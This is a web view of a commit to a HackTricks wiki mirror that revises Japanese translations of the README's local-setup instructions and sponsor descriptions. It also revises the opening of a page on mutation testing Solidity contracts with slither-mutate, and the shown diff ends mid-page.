mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/ruby-tri
This commit is contained in:
parent
5feaaddca7
commit
c4713f10cc
163
src/README.md
163
src/README.md
@ -2,7 +2,7 @@
|
||||
|
||||
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_HackTricks のロゴとモーションデザイン制作:_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
_Hacktricks のロゴとモーションデザインは_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
### HackTricks をローカルで実行する
|
||||
```bash
|
||||
@ -31,17 +31,25 @@ export LANG="master" # Leave master for english
|
||||
# Run the docker container indicating the path to the hacktricks folder
|
||||
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
|
||||
```
|
||||
ローカルの HackTricks は **[http://localhost:3337](http://localhost:3337)** で <5 分後に利用可能になります(ブックのビルドが必要です。少々お待ちください)。
|
||||
Your local copy of HackTricks will be **available at [http://localhost:3337](http://localhost:3337)** after <5 minutes (it needs to build the book, be patient).
|
||||
|
||||
## 企業スポンサー
|
||||
あなたのローカルのHackTricksは <5 分以内に **[http://localhost:3337](http://localhost:3337)** で利用可能になります(書籍のビルドに時間がかかるので、しばらくお待ちください)。
|
||||
|
||||
## Corporate Sponsors
|
||||
|
||||
### [STM Cyber](https://www.stmcyber.com)
|
||||
|
||||
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) は優れたサイバーセキュリティ企業で、スローガンは **HACK THE UNHACKABLE** です。彼らは独自に研究を行い、独自の hacking tools を開発して、pentesting、Red teams、training といった **複数の価値あるサイバーセキュリティサービスを提供しています**。
|
||||
[**STM Cyber**](https://www.stmcyber.com) is a great cybersecurity company whose slogan is **HACK THE UNHACKABLE**. They perform their own research and develop their own hacking tools to **offer several valuable cybersecurity services** like pentesting, Red teams and training.
|
||||
|
||||
彼らの **ブログ** は [**https://blog.stmcyber.com**](https://blog.stmcyber.com) で確認できます
|
||||
[**STM Cyber**](https://www.stmcyber.com) はスローガンが **HACK THE UNHACKABLE** の優れたサイバーセキュリティ企業です。独自のリサーチを行い、自社のハッキングツールを開発して、pentesting、Red teams、トレーニングなどの**価値の高いサイバーセキュリティサービス**を提供しています。
|
||||
|
||||
You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||
|
||||
彼らの**ブログ**は [**https://blog.stmcyber.com**](https://blog.stmcyber.com) でご覧いただけます。
|
||||
|
||||
**STM Cyber** also support cybersecurity open source projects like HackTricks :)
|
||||
|
||||
**STM Cyber** は HackTricks のようなサイバーセキュリティのオープンソースプロジェクトも支援しています :)
|
||||
|
||||
@ -51,7 +59,9 @@ docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pw
|
||||
|
||||
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) は **スペイン** で最も重要なサイバーセキュリティイベントで、**欧州** でも屈指の大会です。**技術知識の普及を使命とし**、この会議はあらゆる分野の技術・サイバーセキュリティ専門家にとって活発な交流の場です。
|
||||
[**RootedCON**](https://www.rootedcon.com) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) は **スペイン** で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ** においても最も重要な大会の一つです。**技術知識の普及を使命** とし、このカンファレンスはあらゆる分野の技術者やサイバーセキュリティ専門家が集まる熱い交流の場です。
|
||||
|
||||
{{#ref}}
|
||||
https://www.rootedcon.com/
|
||||
@ -63,9 +73,13 @@ https://www.rootedcon.com/
|
||||
|
||||
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** は **Europe's #1** の ethical hacking かつ **bug bounty platform** です。
|
||||
**Intigriti** is the **Europe's #1** ethical hacking and **bug bounty platform.**
|
||||
|
||||
**Bug bounty tip**: **Intigriti** にサインアップして、hackers によって作られたプレミアムな **bug bounty platform** を活用しましょう で今すぐ参加して、最大 **$100,000** のバウンティを獲得し始めましょう!
|
||||
**Intigriti** は **ヨーロッパでNo.1** のエシカルハッキングおよび **bug bounty platform** です。
|
||||
|
||||
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
|
||||
|
||||
**Bug bounty tip**: ハッカーによって、ハッカーのために作られたプレミアムな **bug bounty platform**、**Intigriti** に**sign up**しましょう!今日 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) に参加して、最大 **$100,000** のバウンティを獲得しましょう!
|
||||
|
||||
{{#ref}}
|
||||
https://go.intigriti.com/hacktricks
|
||||
@ -78,9 +92,13 @@ https://go.intigriti.com/hacktricks
|
||||
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) を使って、世界で最も **advanced** なコミュニティツールによるワークフローを簡単に構築・**automate** できます。
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.
|
||||
|
||||
今すぐアクセス:
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) を使えば、世界で最も**先進的な**コミュニティツールを活用して、ワークフローを簡単に構築し**自動化**できます。
|
||||
|
||||
Get Access Today:
|
||||
|
||||
今すぐアクセスしてみてください:
|
||||
|
||||
{{#ref}}
|
||||
https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
|
||||
@ -94,12 +112,20 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
- **Hacking Insights:** ハッキングのスリルや課題に踏み込んだコンテンツに触れられます
|
||||
- **Real-Time Hack News:** リアルタイムのニュースやインサイトで速いテンポのハッキング界の情報を追えます
|
||||
- **Latest Announcements:** 新しい bug bounty の開始や重要なプラットフォーム更新の情報を受け取れます
|
||||
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーや bug bounty ハンターと交流しましょう!
|
||||
|
||||
- **Hacking Insights:** Engage with content that delves into the thrill and challenges of hacking
|
||||
- **Real-Time Hack News:** Keep up-to-date with fast-paced hacking world through real-time news and insights
|
||||
- **Latest Announcements:** Stay informed with the newest bug bounties launching and crucial platform updates
|
||||
|
||||
- **Hacking Insights:** ハッキングのスリルと課題に踏み込むコンテンツに参加
|
||||
- **Real-Time Hack News:** リアルタイムのニュースと洞察で変化の速いハッキング界の最新情報をキャッチ
|
||||
- **Latest Announcements:** 最新のbug bounty開始情報や重要なプラットフォーム更新を受け取る
|
||||
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||
|
||||
**Discord** 上で参加して、トップハッカーと協力を始めましょう!
|
||||
|
||||
---
|
||||
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - The essential penetration testing toolkit
|
||||
@ -108,7 +134,11 @@ Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to
|
||||
|
||||
**Get a hacker's perspective on your web apps, network, and cloud**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** 20 を超えるカスタムツールを使ってアタックサーフェスをマップし、権限昇格を許すセキュリティ問題を発見し、automated exploits を使って必要な証拠を収集し、あなたの作業を説得力のあるレポートに変換します。
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
|
||||
**Webアプリ、ネットワーク、クラウドに対してハッカー視点を得ましょう**
|
||||
|
||||
**実際のビジネス影響を与える重大で悪用可能な脆弱性を発見して報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、権限昇格を許すセキュリティ問題を発見し、自動化されたエクスプロイトで重要な証拠を収集して、頑張りを説得力のあるレポートに変換します。
|
||||
|
||||
{{#ref}}
|
||||
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||
@ -120,14 +150,23 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
|
||||
|
||||
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**SerpApi** は検索エンジン結果へ迅速かつ簡単にリアルタイムでアクセスするための API を提供します。検索エンジンのスクレイピング、プロキシ処理、キャプチャの解決、リッチな構造化データの解析を代行します。
|
||||
**SerpApi** offers fast and easy real-time APIs to **access search engine results**. They scrape search engines, handle proxies, solve captchas, and parse all rich structured data for you.
|
||||
|
||||
SerpApi のプランに加入すると、Google、Bing、Baidu、Yahoo、Yandex など、さまざまな検索エンジンをスクレイピングする 50 以上の異なる API にアクセスできます。\
|
||||
他のプロバイダとは異なり、**SerpApi doesn’t just scrape organic results**。SerpApi のレスポンスには常に広告、インライン画像や動画、Knowledge Graph など検索結果に含まれる全ての要素や機能が含まれます。
|
||||
**SerpApi** は検索エンジン結果に**リアルタイムでアクセスできる**高速で簡単なAPIを提供します。検索エンジンのスクレイピング、プロキシの処理、キャプチャの解決、そしてリッチな構造化データの解析を代行します。
|
||||
|
||||
現在の SerpApi の顧客には **Apple, Shopify, and GrubHub** が含まれます。\
|
||||
詳細は彼らの [**blog**](https://serpapi.com/blog/)**,** または [**playground**](https://serpapi.com/playground) でサンプルを試してみてください。\
|
||||
[**ここ**](https://serpapi.com/users/sign_up) で無料アカウントを作成できます。
|
||||
A subscription to one of SerpApi’s plans includes access to over 50 different APIs for scraping different search engines, including Google, Bing, Baidu, Yahoo, Yandex, and more.\
|
||||
Unlike other providers, **SerpApi doesn’t just scrape organic results**. SerpApi responses consistently include all ads, inline images and videos, knowledge graphs, and other elements and features present in the search results.
|
||||
|
||||
SerpApi のサブスクリプションには、Google、Bing、Baidu、Yahoo、Yandex など、さまざまな検索エンジンをスクレイピングするための50以上の異なるAPIへのアクセスが含まれます。\
|
||||
他のプロバイダとは異なり、**SerpApi はオーガニック結果だけをスクレイピングするわけではありません**。SerpApi のレスポンスには一貫して広告、インライン画像や動画、ナレッジグラフ、検索結果に含まれるその他の要素や機能が含まれます。
|
||||
|
||||
Current SerpApi customers include **Apple, Shopify, and GrubHub**.\
|
||||
For more information check out their [**blog**](https://serpapi.com/blog/)**,** or try an example in their [**playground**](https://serpapi.com/playground)**.**\
|
||||
You can **create a free account** [**here**](https://serpapi.com/users/sign_up)**.**
|
||||
|
||||
現在の SerpApi の顧客には **Apple、Shopify、GrubHub** などが含まれます。\
|
||||
詳細は彼らの [**blog**](https://serpapi.com/blog/) をご覧いただくか、[**playground**](https://serpapi.com/playground) で例を試してみてください。\
|
||||
[**こちら**](https://serpapi.com/users/sign_up) から**無料アカウントを作成**できます。
|
||||
|
||||
---
|
||||
|
||||
@ -135,7 +174,9 @@ SerpApi のプランに加入すると、Google、Bing、Baidu、Yahoo、Yandex
|
||||
|
||||
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
モバイルアプリケーションとデバイスを保護するための脆弱性調査、penetration testing、reverse engineering に必要な技術とスキルを学びます。オンデマンドコースで iOS と Android のセキュリティを習得し、**認定** を取得しましょう:
|
||||
Learn the technologies and skills required to perform vulnerability research, penetration testing, and reverse engineering to protect mobile applications and devices. **Master iOS and Android security** through our on-demand courses and **get certified**:
|
||||
|
||||
脆弱性リサーチ、penetration testing、リバースエンジニアリングを行い、モバイルアプリやデバイスを保護するために必要な技術とスキルを学びます。オンデマンドコースで**iOS と Android のセキュリティを習得**し、**認定**を取得しましょう:
|
||||
|
||||
{{#ref}}
|
||||
https://academy.8ksec.io/
|
||||
@ -147,13 +188,21 @@ https://academy.8ksec.io/
|
||||
|
||||
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.net) は **アムステルダム** に拠点を置くプロフェッショナルなサイバーセキュリティ企業で、**世界中** の企業を最新のサイバー脅威から守るために、**offensive-security services** をモダンなアプローチで提供しています。
|
||||
[**WebSec**](https://websec.net) is a professional cybersecurity company based in **Amsterdam** which helps **protecting** businesses **all over the world** against the latest cybersecurity threats by providing **offensive-security services** with a **modern** approach.
|
||||
|
||||
WebSec はアムステルダムとワイオミングにオフィスを持つ国際的なセキュリティ企業です。彼らは **all-in-one security services** を提供しており、Pentesting、**Security** Audits、Awareness Trainings、Phishing Campagnes、Code Review、Exploit Development、Security Experts Outsourcing など幅広く対応します。
|
||||
[**WebSec**](https://websec.net) は **アムステルダム** に拠点を置くプロのサイバーセキュリティ企業であり、**モダンな**アプローチで **offensive-security services** を提供することで、世界中の企業を最新のサイバー脅威から**保護**する手助けをしています。
|
||||
|
||||
WebSec のもう一つの特徴は、業界平均とは異なり彼らが自分たちのスキルに**非常に自信を持っている**ことで、その自信は提供する成果物の品質保証にも表れており、ウェブサイトには「**If we can't hack it, You don't pay it!**」と記載されています。詳細は彼らの [**website**](https://websec.net/en/) と [**blog**](https://websec.net/blog/) をご覧ください。
|
||||
WebSec is an intenational security company with offices in Amsterdam and Wyoming. They offer **all-in-one security services** which means they do it all; Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing and much more.
|
||||
|
||||
さらに、WebSec は HackTricks の **献身的なサポーター** でもあります。
|
||||
WebSec はアムステルダムとワイオミングにオフィスを持つ国際的なセキュリティ企業です。彼らは **all-in-one security services** を提供しており、Pentesting、**Security** Audits、Awareness Trainings、Phishing Campaigns、Code Review、Exploit Development、Security Experts Outsourcing など幅広く対応します。
|
||||
|
||||
Another cool thing about WebSec is that unlike the industry average WebSec is **very confident in their skills**, to such an extent that they **guarantee the best quality results**, it states on their website "**If we can't hack it, You don't pay it!**". For more info take a look at their [**website**](https://websec.net/en/) and [**blog**](https://websec.net/blog/)!
|
||||
|
||||
さらに興味深い点として、業界平均とは異なり WebSec は**自分たちのスキルに非常に自信を持っており**、そのために**最高品質の結果を保証する**とされています。ウェブサイトには「**If we can't hack it, You don't pay it!**」と記載されています。詳細は彼らの [**website**](https://websec.net/en/) と [**blog**](https://websec.net/blog/) をご覧ください!
|
||||
|
||||
In addition to the above WebSec is also a **committed supporter of HackTricks.**
|
||||
|
||||
上記に加え、WebSec は HackTricks の**熱心なサポーター**でもあります。
|
||||
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=Zq2JycGDCPM
|
||||
@ -165,10 +214,15 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
|
||||
|
||||
<figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
|
||||
|
||||
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) はデータブリーチ (leak) 検索エンジンです。\
|
||||
大規模なものだけでなくあらゆる種類のデータ leak を対象に、ランダム文字列検索(google のような)を提供します — 複数ソースからのデータを横断検索します。\
|
||||
人、AI、組織、API (OpenAPI) アクセス、theHarvester 統合など、pentester に必要な全ての機能を備えています。\
|
||||
**HackTricks は私たち全員にとって素晴らしい学習プラットフォームであり、スポンサーとして支援できることを誇りに思います!**
|
||||
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) is a data breach (leak) search engine. \
|
||||
We provide random string search (like google) over all types of data leaks big and small --not only the big ones-- over data from multiple sources. \
|
||||
People search, AI search, organization search, API (OpenAPI) access, theHarvester integration, all features a pentester needs.\
|
||||
**HackTricks continues to be a great learning platform for us all and we're proud to be sponsoring it!**
|
||||
|
||||
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) はデータ侵害 (leak) の検索エンジンです。\
|
||||
大手から小規模まであらゆる種類のデータ leak を複数のソースから集め、ランダム文字列検索(Googleのような)を提供します。\
|
||||
People search、AI search、organization search、API (OpenAPI) アクセス、theHarvester 統合など、pentester に必要な機能がすべて揃っています。\
|
||||
**HackTricks は私たちにとって引き続き素晴らしい学習プラットフォームであり、スポンサーを務められることを誇りに思います!**
|
||||
|
||||
{{#ref}}
|
||||
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||
@ -182,13 +236,24 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||
|
||||
|
||||
**Built for the field. Built around you.**\
|
||||
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) は業界の専門家が構築・指導する効果的なサイバーセキュリティトレーニングを提供します。彼らのプログラムは理論を超えて、実践的な脅威を反映したカスタム環境を用い、チームに深い理解と実行可能なスキルを身につけさせます。カスタムトレーニングの問い合わせは [**here**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks) へ。
|
||||
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) develops and delivers effective cybersecurity training built and led by
|
||||
industry experts. Their programs go beyond theory to equip teams with deep
|
||||
understanding and actionable skills, using custom environments that reflect real-world
|
||||
threats. For custom training inquiries, reach out to us [**here**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
|
||||
|
||||
**現場のために作られ、あなたのために設計されています。**\
|
||||
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) は業界の専門家が設計・指導する実践的なサイバーセキュリティトレーニングを開発・提供しています。彼らのプログラムは理論を超え、実世界の脅威を反映したカスタム環境を用いてチームに深い理解と実行可能なスキルを提供します。カスタムトレーニングの問い合わせは [**こちら**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks) からご連絡ください。
|
||||
|
||||
**What sets their training apart:**
|
||||
* Custom-built content and labs
|
||||
* Backed by top-tier tools and platforms
|
||||
* Designed and taught by practitioners
|
||||
|
||||
**彼らのトレーニングの特長:**
|
||||
* カスタム作成されたコンテンツとラボ
|
||||
* 一流のツールとプラットフォームによるサポート
|
||||
* 実務家による設計と指導
|
||||
|
||||
{{#ref}}
|
||||
https://cyberhelmets.com/courses/?ref=hacktricks
|
||||
{{#endref}}
|
||||
@ -199,13 +264,27 @@ https://cyberhelmets.com/courses/?ref=hacktricks
|
||||
|
||||
<figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
|
||||
|
||||
Last Tower Solutions は **Education** と **FinTech** 機関向けに特化したサイバーセキュリティサービスを提供しており、特に **penetration testing、cloud security assessments**、および **compliance readiness**(SOC 2、PCI-DSS、NIST)に注力しています。私たちのチームには **OSCP and CISSP certified professionals** が在籍し、深い技術的専門知識と業界標準の知見を各案件にもたらします。
|
||||
Last Tower Solutions delivers specialized cybersecurity services for **Education** and **FinTech**
|
||||
institutions, with a focus on **penetration testing, cloud security assessments**, and
|
||||
**compliance readiness** (SOC 2, PCI-DSS, NIST). Our team includes **OSCP and CISSP
|
||||
certified professionals**, bringing deep technical expertise and industry-standard insight to
|
||||
every engagement.
|
||||
|
||||
自動スキャンを超えた、重要度の高い環境向けにカスタマイズされた **manual, intelligence-driven testing** を提供します。学生記録の保護から金融取引の保護まで、組織が最も重要視するものを守るお手伝いをします。
|
||||
Last Tower Solutions は **教育機関** と **FinTech** 機関向けに特化したサイバーセキュリティサービスを提供しており、特に **penetration testing、cloud security assessments**、および **compliance readiness**(SOC 2、PCI-DSS、NIST)に注力しています。私たちのチームには **OSCP および CISSP 認定の専門家** が在籍しており、各案件に深い技術的専門知識と業界標準の洞察をもたらします。
|
||||
|
||||
We go beyond automated scans with **manual, intelligence-driven testing** tailored to
|
||||
high-stakes environments. From securing student records to protecting financial transactions,
|
||||
we help organizations defend what matters most.
|
||||
|
||||
自動スキャンだけでなく、ハイリスク環境に合わせた**手動でのインテリジェンス駆動のテスト**を提供します。学生記録の保護から金融取引の保護まで、重要なものを守るお手伝いをします。
|
||||
|
||||
_“A quality defense requires knowing the offense, we provide security through understanding.”_
|
||||
|
||||
最新のサイバーセキュリティ情報は彼らの [**blog**](https://www.lasttowersolutions.com/blog) をご覧ください。
|
||||
_「質の高い防御は攻撃を知ることを要する。私たちは理解を通じてセキュリティを提供します。」_
|
||||
|
||||
Stay informed and up to date with the latest in cybersecurity by visiting our [**blog**](https://www.lasttowersolutions.com/blog).
|
||||
|
||||
最新のサイバーセキュリティ情報は私たちの [**blog**](https://www.lasttowersolutions.com/blog) でご確認ください。
|
||||
|
||||
{{#ref}}
|
||||
https://www.lasttowersolutions.com/
|
||||
@ -215,11 +294,15 @@ https://www.lasttowersolutions.com/
|
||||
|
||||
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
|
||||
|
||||
<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
|
||||
<figure><img src="images/k8studio.jpg" alt="k8studio logo"><figcaption></figcaption></figure>
|
||||
|
||||
K8Studio IDE は DevOps、DevSecOps、開発者が Kubernetes クラスターを効率的に管理、監視、保護するのを支援します。AI 駆動のインサイト、高度なセキュリティフレームワーク、直感的な CloudMaps GUI を利用してクラスターを可視化し、状態を把握し、自信を持って行動できます。
|
||||
K8Studio IDE empowers DevOps, DevSecOps, and developers to manage, monitor, and secure Kubernetes clusters efficiently. Leverage our AI-driven insights, advanced security framework, and intuitive CloudMaps GUI to visualize your clusters, understand their state, and act with confidence.
|
||||
|
||||
さらに、K8Studio は **すべての主要な kubernetes distributions**(AWS, GCP, Azure, DO, Rancher, K3s, Openshift など)と互換性があります。
|
||||
K8Studio IDE は DevOps、DevSecOps、開発者が Kubernetes クラスターを効率的に管理、監視、保護できるよう支援します。AI駆動のインサイト、高度なセキュリティフレームワーク、直感的な CloudMaps GUI を活用してクラスターを可視化し、状態を把握し、自信を持って対処できます。
|
||||
|
||||
Moreover, K8Studio is **compatible with all major kubernetes distributions** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more).
|
||||
|
||||
さらに、K8Studio は **主要なすべての kubernetes ディストリビューション**(AWS、GCP、Azure、DO、Rancher、K3s、Openshift など)に**対応**しています。
|
||||
|
||||
{{#ref}}
|
||||
https://k8studio.io/
|
||||
@ -228,15 +311,19 @@ https://k8studio.io/
|
||||
|
||||
---
|
||||
|
||||
## License & Disclaimer
|
||||
|
||||
Check them in:
|
||||
|
||||
## ライセンスと免責事項
|
||||
|
||||
以下を参照してください:
|
||||
詳細は以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
welcome/hacktricks-values-and-faq.md
|
||||
{{#endref}}
|
||||
|
||||
## GitHub 統計
|
||||
## Github Stats
|
||||
|
||||

|
||||
|
||||
|
@ -950,4 +950,4 @@
|
||||
- [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
|
||||
- [Post Exploitation](todo/post-exploitation.md)
|
||||
- [Investment Terms](todo/investment-terms.md)
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
|
@ -1,14 +1,14 @@
|
||||
# Mutation Testing: Solidity向け Slither (slither-mutate)
|
||||
# Mutation Testing for Solidity with Slither (slither-mutate)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Mutation testing は、Solidityコードに小さな変更(mutants)を体系的に導入してテストスイートを再実行することで「テストをテスト」します。テストが失敗すればそのmutantはkillされます。テストが通り続ければmutantは生き残り、行/分岐カバレッジでは検出できないテストスイートの盲点を明らかにします。
|
||||
Mutation testing は、Solidity コードに小さな変更(mutants)を系統的に導入してテストスイートを再実行することで「テストをテスト」します。テストが失敗すればその mutant は排除されます。テストが通り続ければ mutant は生き残り、行/分岐カバレッジでは検出できないテストスイートの盲点を明らかにします。
|
||||
|
||||
重要なポイント:カバレッジはコードが実行されたことを示すだけであり、Mutation testing は挙動が実際にアサートされているかを示します。
|
||||
重要なポイント: カバレッジはコードが実行されたことを示しますが、mutation testing は振る舞いが実際に検証されているかを示します。
|
||||
|
||||
## なぜカバレッジは誤解を招くのか
|
||||
## なぜカバレッジは誤解を招くか
|
||||
|
||||
次の単純な閾値チェックを考えてみましょう:
|
||||
次のような単純な閾値チェックを考えてみてください:
|
||||
```solidity
|
||||
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
|
||||
if (deposit >= 1 ether) {
|
||||
@ -20,113 +20,92 @@ return false;
|
||||
```
|
||||
Unit tests that only check a value below and a value above the threshold can reach 100% line/branch coverage while failing to assert the equality boundary (==). A refactor to `deposit >= 2 ether` would still pass such tests, silently breaking protocol logic.
|
||||
|
||||
ミニマムとマックスの値だけをチェックするユニットテストは、等価境界(==)を検証していなくても行/分岐カバレッジを100%に到達できることがある。`deposit >= 2 ether` にリファクタリングしてもそのテストは通り続け、プロトコルのロジックを密かに破壊してしまう。
|
||||
|
||||
Mutation testing exposes this gap by mutating the condition and verifying your tests fail.
|
||||
|
||||
ミューテーションテストは条件を変異させ、テストが失敗することを確認することでこのギャップを明らかにする。
|
||||
|
||||
## Common Solidity mutation operators
|
||||
|
||||
Slither’s mutation engine applies many small, semantics-changing edits, such as:
|
||||
- Operator replacement: `+` ↔ `-`, `*` ↔ `/`, etc.
|
||||
- Assignment replacement: `+=` → `=`, `-=` → `=`
|
||||
- Constant replacement: non-zero → `0`, `true` ↔ `false`
|
||||
- Condition negation/replacement inside `if`/loops
|
||||
- Comment out whole lines (CR: Comment Replacement)
|
||||
- Replace a line with `revert()`
|
||||
- Data type swaps: e.g., `int128` → `int64`
|
||||
|
||||
Slither のミューテーションエンジンは、小さく意味を変える多数の編集を適用します。例えば:
|
||||
- 演算子の置換:`+` ↔ `-`, `*` ↔ `/` など
|
||||
- 代入の置換:`+=` → `=`, `-=` → `=`
|
||||
- 定数の置換:非ゼロ → `0`, `true` ↔ `false`
|
||||
- 演算子置換: `+` ↔ `-`、`*` ↔ `/` など
|
||||
- 代入置換: `+=` → `=`、`-=` → `=`
|
||||
- 定数置換: 非ゼロ → `0`、`true` ↔ `false`
|
||||
- `if`/ループ内の条件の否定/置換
|
||||
- 行全体をコメントアウト (CR: Comment Replacement)
|
||||
- 行を `revert()` に置き換え
|
||||
- データ型の入れ替え:例 `int128` → `int64`
|
||||
- 行を `revert()` に置き換える
|
||||
- データ型の差し替え: 例: `int128` → `int64`
|
||||
|
||||
Goal: Kill 100% of generated mutants, or justify survivors with clear reasoning.
|
||||
|
||||
目標:生成されたミュータントを100%排除する、または生き残ったものを明確な理由で正当化すること。
|
||||
|
||||
## Running mutation testing with slither-mutate
|
||||
|
||||
Requirements: Slither v0.10.2+.
|
||||
|
||||
- List options and mutators:
|
||||
|
||||
## slither-mutate を使ったミューテーションテストの実行
|
||||
|
||||
要件:Slither v0.10.2+。
|
||||
|
||||
- オプションとミューテータを一覧表示:
|
||||
```bash
|
||||
slither-mutate --help
|
||||
slither-mutate --list-mutators
|
||||
```
|
||||
- Foundry の例(結果をキャプチャして完全なログを保持する):
|
||||
- Foundry の例 (結果を取得して完全なログを保持する):
|
||||
```bash
|
||||
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
|
||||
```
|
||||
- Foundry を使用していない場合、`--test-cmd` をテストを実行するコマンド(例: `npx hardhat test`, `npm test`)に置き換えてください。
|
||||
- Foundry を使用しない場合は、`--test-cmd` をテストの実行方法(例: `npx hardhat test`, `npm test`)に置き換えてください。
|
||||
|
||||
Artifacts and reports are stored in `./mutation_campaign` by default. 検出されなかった(生存した)ミュータントは検査のためそこにコピーされます。
|
||||
Artifacts and reports are stored in `./mutation_campaign` by default. Uncaught (surviving) mutants are copied there for inspection.
|
||||
|
||||
### 出力の理解
|
||||
|
||||
Report lines look like:
|
||||
レポートの行は次のようになります:
|
||||
```text
|
||||
INFO:Slither-Mutate:Mutating contract ContractName
|
||||
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
|
||||
```
|
||||
- 括弧内のタグは mutator のエイリアスです(例: `CR` = Comment Replacement)。
|
||||
- `UNCAUGHT` は変異した振る舞いの下でテストが合格したことを意味します → アサーションが不足している。
|
||||
- 角括弧内のタグはミューテータのエイリアスです(例: `CR` = Comment Replacement)。
|
||||
- `UNCAUGHT`は、ミューテーションされた振る舞いのもとでテストが通ったことを意味します → アサーションが欠けている。
|
||||
|
||||
## Reducing runtime: prioritize impactful mutants
|
||||
## 実行時間の短縮: 影響の大きいミューテントを優先する
|
||||
|
||||
Mutation campaigns は数時間〜数日かかることがあります。コストを削減するためのヒント:
|
||||
- Scope: まずは重要な contracts/directories のみを対象にし、徐々に拡大する。
|
||||
